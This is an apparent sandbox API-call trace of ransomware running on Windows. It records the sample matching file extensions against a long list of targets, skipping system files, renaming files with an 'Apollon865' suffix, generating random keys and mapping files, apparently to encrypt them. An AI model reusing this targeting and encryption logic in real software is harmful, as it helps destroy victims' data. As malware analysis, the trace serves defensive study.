	[0039.910] lstrlenW (lpString="fmp") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0039.911] lstrlenW (lpString="fmp12") returned 5
	[0039.911] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0039.911] lstrlenW (lpString="fmpsl") returned 5
	[0039.911] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0039.911] lstrlenW (lpString="fol") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0039.911] lstrlenW (lpString="fp3") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0039.911] lstrlenW (lpString="fp4") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0039.911] lstrlenW (lpString="fp5") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0039.911] lstrlenW (lpString="fp7") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0039.911] lstrlenW (lpString="fpt") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0039.911] lstrlenW (lpString="frm") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0039.911] lstrlenW (lpString="gdb") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0039.911] lstrlenW (lpString="gdb") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0039.911] lstrlenW (lpString="grdb") returned 4
	[0039.911] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0039.911] lstrlenW (lpString="gwi") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0039.911] lstrlenW (lpString="hdb") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0039.911] lstrlenW (lpString="his") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0039.911] lstrlenW (lpString="ib") returned 2
	[0039.911] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0039.911] lstrlenW (lpString="idb") returned 3
	[0039.911] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0039.911] lstrlenW (lpString="ihx") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0039.912] lstrlenW (lpString="itdb") returned 4
	[0039.912] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0039.912] lstrlenW (lpString="itw") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0039.912] lstrlenW (lpString="jet") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0039.912] lstrlenW (lpString="jtx") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0039.912] lstrlenW (lpString="kdb") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0039.912] lstrlenW (lpString="kexi") returned 4
	[0039.912] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0039.912] lstrlenW (lpString="kexic") returned 5
	[0039.912] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0039.912] lstrlenW (lpString="kexis") returned 5
	[0039.912] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0039.912] lstrlenW (lpString="lgc") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0039.912] lstrlenW (lpString="lwx") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0039.912] lstrlenW (lpString="maf") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0039.912] lstrlenW (lpString="maq") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0039.912] lstrlenW (lpString="mar") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0039.912] lstrlenW (lpString="marshal") returned 7
	[0039.912] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0039.912] lstrlenW (lpString="mas") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0039.912] lstrlenW (lpString="mav") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0039.912] lstrlenW (lpString="maw") returned 3
	[0039.912] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0039.912] lstrlenW (lpString="mdbhtml") returned 7
	[0039.912] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0039.912] lstrlenW (lpString="mdn") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0039.913] lstrlenW (lpString="mdt") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0039.913] lstrlenW (lpString="mfd") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0039.913] lstrlenW (lpString="mpd") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0039.913] lstrlenW (lpString="mrg") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0039.913] lstrlenW (lpString="mud") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0039.913] lstrlenW (lpString="mwb") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0039.913] lstrlenW (lpString="myd") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0039.913] lstrlenW (lpString="ndf") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0039.913] lstrlenW (lpString="nnt") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0039.913] lstrlenW (lpString="nrmlib") returned 6
	[0039.913] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0039.913] lstrlenW (lpString="ns2") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0039.913] lstrlenW (lpString="ns3") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0039.913] lstrlenW (lpString="ns4") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0039.913] lstrlenW (lpString="nsf") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0039.913] lstrlenW (lpString="nv") returned 2
	[0039.913] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0039.913] lstrlenW (lpString="nv2") returned 3
	[0039.913] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0039.913] lstrlenW (lpString="nwdb") returned 4
	[0039.913] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0039.913] lstrlenW (lpString="nyf") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0039.914] lstrlenW (lpString="odb") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0039.914] lstrlenW (lpString="odb") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0039.914] lstrlenW (lpString="oqy") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0039.914] lstrlenW (lpString="ora") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0039.914] lstrlenW (lpString="orx") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0039.914] lstrlenW (lpString="owc") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0039.914] lstrlenW (lpString="p96") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0039.914] lstrlenW (lpString="p97") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0039.914] lstrlenW (lpString="pan") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0039.914] lstrlenW (lpString="pdb") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0039.914] lstrlenW (lpString="pdm") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0039.914] lstrlenW (lpString="pnz") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0039.914] lstrlenW (lpString="qry") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0039.914] lstrlenW (lpString="qvd") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0039.914] lstrlenW (lpString="rbf") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0039.914] lstrlenW (lpString="rctd") returned 4
	[0039.914] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0039.914] lstrlenW (lpString="rod") returned 3
	[0039.914] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0039.914] lstrlenW (lpString="rodx") returned 4
	[0039.914] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0039.915] lstrlenW (lpString="rpd") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0039.915] lstrlenW (lpString="rsd") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0039.915] lstrlenW (lpString="sas7bdat") returned 8
	[0039.915] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0039.915] lstrlenW (lpString="sbf") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0039.915] lstrlenW (lpString="scx") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0039.915] lstrlenW (lpString="sdb") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0039.915] lstrlenW (lpString="sdc") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0039.915] lstrlenW (lpString="sdf") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0039.915] lstrlenW (lpString="sis") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0039.915] lstrlenW (lpString="spq") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0039.915] lstrlenW (lpString="te") returned 2
	[0039.915] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0039.915] lstrlenW (lpString="teacher") returned 7
	[0039.915] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0039.915] lstrlenW (lpString="tmd") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0039.915] lstrlenW (lpString="tps") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0039.915] lstrlenW (lpString="trc") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0039.915] lstrlenW (lpString="trc") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0039.915] lstrlenW (lpString="trm") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0039.915] lstrlenW (lpString="udb") returned 3
	[0039.915] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0039.916] lstrlenW (lpString="udl") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0039.916] lstrlenW (lpString="usr") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0039.916] lstrlenW (lpString="v12") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0039.916] lstrlenW (lpString="vis") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0039.916] lstrlenW (lpString="vpd") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0039.916] lstrlenW (lpString="vvv") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0039.916] lstrlenW (lpString="wdb") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0039.916] lstrlenW (lpString="wmdb") returned 4
	[0039.916] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0039.916] lstrlenW (lpString="wrk") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0039.916] lstrlenW (lpString="xdb") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0039.916] lstrlenW (lpString="xld") returned 3
	[0039.916] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0039.916] lstrlenW (lpString="xmlff") returned 5
	[0039.916] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0039.916] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini.Apollon865") returned 63
	[0039.916] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0039.919] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0039.919] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=171) returned 1
	[0039.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0039.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0039.919] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0039.920] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0039.920] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0039.920] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0039.920] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x158
	[0039.926] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000
	[0039.943] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0039.943] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0039.943] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0039.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0039.943] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0039.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0039.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0039.944] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0039.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0039.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0039.944] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0039.944] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0039.944] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0039.944] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0039.944] CloseHandle (hObject=0x158) returned 1
	[0039.944] CloseHandle (hObject=0x15c) returned 1
	[0039.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0039.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0039.945] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0039.946] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9821b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d9821b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.946] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.946] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="Apollon865.txt.exe") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="..") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="windows") returned -1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="bootmgr") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="temp") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="pagefile.sys") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="boot") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="ids.txt") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="ntuser.dat") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="perflogs") returned 1
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="MSBuild") returned 1
	[0039.946] lstrlenW (lpString="win7_scenic-demoshort_raw.wtv") returned 29
	[0039.946] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini") returned 52
	[0039.946] lstrcpyW (in: lpString1=0x119e65a, lpString2="win7_scenic-demoshort_raw.wtv" | out: lpString1="win7_scenic-demoshort_raw.wtv") returned="win7_scenic-demoshort_raw.wtv"
	[0039.946] lstrlenW (lpString="win7_scenic-demoshort_raw.wtv") returned 29
	[0039.946] lstrlenW (lpString="Apollon865") returned 10
	[0039.946] lstrcmpiW (lpString1="rt_raw.wtv", lpString2="Apollon865") returned 1
	[0039.946] lstrlenW (lpString=".dll") returned 4
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".dll") returned 1
	[0039.946] lstrlenW (lpString=".lnk") returned 4
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".lnk") returned 1
	[0039.946] lstrlenW (lpString=".ini") returned 4
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".ini") returned 1
	[0039.946] lstrlenW (lpString=".sys") returned 4
	[0039.946] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".sys") returned 1
	[0039.946] lstrlenW (lpString="win7_scenic-demoshort_raw.wtv") returned 29
	[0039.946] lstrlenW (lpString="bak") returned 3
	[0039.946] lstrcmpiW (lpString1="wtv", lpString2="bak") returned 1
	[0039.946] lstrlenW (lpString="ba_") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="ba_") returned 1
	[0039.947] lstrlenW (lpString="dbb") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="dbb") returned 1
	[0039.947] lstrlenW (lpString="vmdk") returned 4
	[0039.947] lstrcmpiW (lpString1=".wtv", lpString2="vmdk") returned -1
	[0039.947] lstrlenW (lpString="rar") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="rar") returned 1
	[0039.947] lstrlenW (lpString="zip") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="zip") returned -1
	[0039.947] lstrlenW (lpString="tgz") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="tgz") returned 1
	[0039.947] lstrlenW (lpString="vbox") returned 4
	[0039.947] lstrcmpiW (lpString1=".wtv", lpString2="vbox") returned -1
	[0039.947] lstrlenW (lpString="vdi") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="vdi") returned 1
	[0039.947] lstrlenW (lpString="vhd") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="vhd") returned 1
	[0039.947] lstrlenW (lpString="vhdx") returned 4
	[0039.947] lstrcmpiW (lpString1=".wtv", lpString2="vhdx") returned -1
	[0039.947] lstrlenW (lpString="avhd") returned 4
	[0039.947] lstrcmpiW (lpString1=".wtv", lpString2="avhd") returned -1
	[0039.947] lstrlenW (lpString="db") returned 2
	[0039.947] lstrcmpiW (lpString1="tv", lpString2="db") returned 1
	[0039.947] lstrlenW (lpString="db2") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="db2") returned 1
	[0039.947] lstrlenW (lpString="db3") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="db3") returned 1
	[0039.947] lstrlenW (lpString="dbf") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="dbf") returned 1
	[0039.947] lstrlenW (lpString="mdf") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="mdf") returned 1
	[0039.947] lstrlenW (lpString="mdb") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="mdb") returned 1
	[0039.947] lstrlenW (lpString="sql") returned 3
	[0039.947] lstrcmpiW (lpString1="wtv", lpString2="sql") returned 1
	[0039.947] lstrlenW (lpString="sqlite") returned 6
	[0039.947] lstrcmpiW (lpString1="aw.wtv", lpString2="sqlite") returned -1
	[0039.947] lstrlenW (lpString="sqlite3") returned 7
	[0039.948] lstrcmpiW (lpString1="raw.wtv", lpString2="sqlite3") returned -1
	[0039.948] lstrlenW (lpString="sqlitedb") returned 8
	[0039.948] lstrcmpiW (lpString1="_raw.wtv", lpString2="sqlitedb") returned -1
	[0039.948] lstrlenW (lpString="xml") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="xml") returned -1
	[0039.948] lstrlenW (lpString="$er") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="$er") returned 1
	[0039.948] lstrlenW (lpString="4dd") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="4dd") returned 1
	[0039.948] lstrlenW (lpString="4dl") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="4dl") returned 1
	[0039.948] lstrlenW (lpString="^^^") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="^^^") returned 1
	[0039.948] lstrlenW (lpString="abs") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="abs") returned 1
	[0039.948] lstrlenW (lpString="abx") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="abx") returned 1
	[0039.948] lstrlenW (lpString="accdb") returned 5
	[0039.948] lstrcmpiW (lpString1="w.wtv", lpString2="accdb") returned 1
	[0039.948] lstrlenW (lpString="accdc") returned 5
	[0039.948] lstrcmpiW (lpString1="w.wtv", lpString2="accdc") returned 1
	[0039.948] lstrlenW (lpString="accde") returned 5
	[0039.948] lstrcmpiW (lpString1="w.wtv", lpString2="accde") returned 1
	[0039.948] lstrlenW (lpString="accdr") returned 5
	[0039.948] lstrcmpiW (lpString1="w.wtv", lpString2="accdr") returned 1
	[0039.948] lstrlenW (lpString="accdt") returned 5
	[0039.948] lstrcmpiW (lpString1="w.wtv", lpString2="accdt") returned 1
	[0039.948] lstrlenW (lpString="accdw") returned 5
	[0039.948] lstrcmpiW (lpString1="w.wtv", lpString2="accdw") returned 1
	[0039.948] lstrlenW (lpString="accft") returned 5
	[0039.948] lstrcmpiW (lpString1="w.wtv", lpString2="accft") returned 1
	[0039.948] lstrlenW (lpString="adb") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="adb") returned 1
	[0039.948] lstrlenW (lpString="adb") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="adb") returned 1
	[0039.948] lstrlenW (lpString="ade") returned 3
	[0039.948] lstrcmpiW (lpString1="wtv", lpString2="ade") returned 1
	[0039.948] lstrlenW (lpString="adf") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="adf") returned 1
	[0039.949] lstrlenW (lpString="adn") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="adn") returned 1
	[0039.949] lstrlenW (lpString="adp") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="adp") returned 1
	[0039.949] lstrlenW (lpString="alf") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="alf") returned 1
	[0039.949] lstrlenW (lpString="ask") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="ask") returned 1
	[0039.949] lstrlenW (lpString="btr") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="btr") returned 1
	[0039.949] lstrlenW (lpString="cat") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="cat") returned 1
	[0039.949] lstrlenW (lpString="cdb") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="cdb") returned 1
	[0039.949] lstrlenW (lpString="ckp") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="ckp") returned 1
	[0039.949] lstrlenW (lpString="cma") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="cma") returned 1
	[0039.949] lstrlenW (lpString="cpd") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="cpd") returned 1
	[0039.949] lstrlenW (lpString="dacpac") returned 6
	[0039.949] lstrcmpiW (lpString1="aw.wtv", lpString2="dacpac") returned -1
	[0039.949] lstrlenW (lpString="dad") returned 3
	[0039.949] lstrcmpiW (lpString1="wtv", lpString2="dad") returned 1
	[0039.949] lstrlenW (lpString="dadiagrams") returned 10
	[0039.949] lstrcmpiW (lpString1="rt_raw.wtv", lpString2="dadiagrams") returned 1
	[0039.949] lstrlenW (lpString="daschema") returned 8
	[0039.949] lstrcmpiW (lpString1="_raw.wtv", lpString2="daschema") returned -1
	[0039.949] lstrlenW (lpString="db-journal") returned 10
	[0039.949] lstrcmpiW (lpString1="rt_raw.wtv", lpString2="db-journal") returned 1
	[0039.949] lstrlenW (lpString="db-shm") returned 6
	[0039.949] lstrcmpiW (lpString1="aw.wtv", lpString2="db-shm") returned -1
	[0039.949] lstrlenW (lpString="db-wal") returned 6
	[0039.949] lstrcmpiW (lpString1="aw.wtv", lpString2="db-wal") returned -1
	[0039.949] lstrlenW (lpString="dbc") returned 3
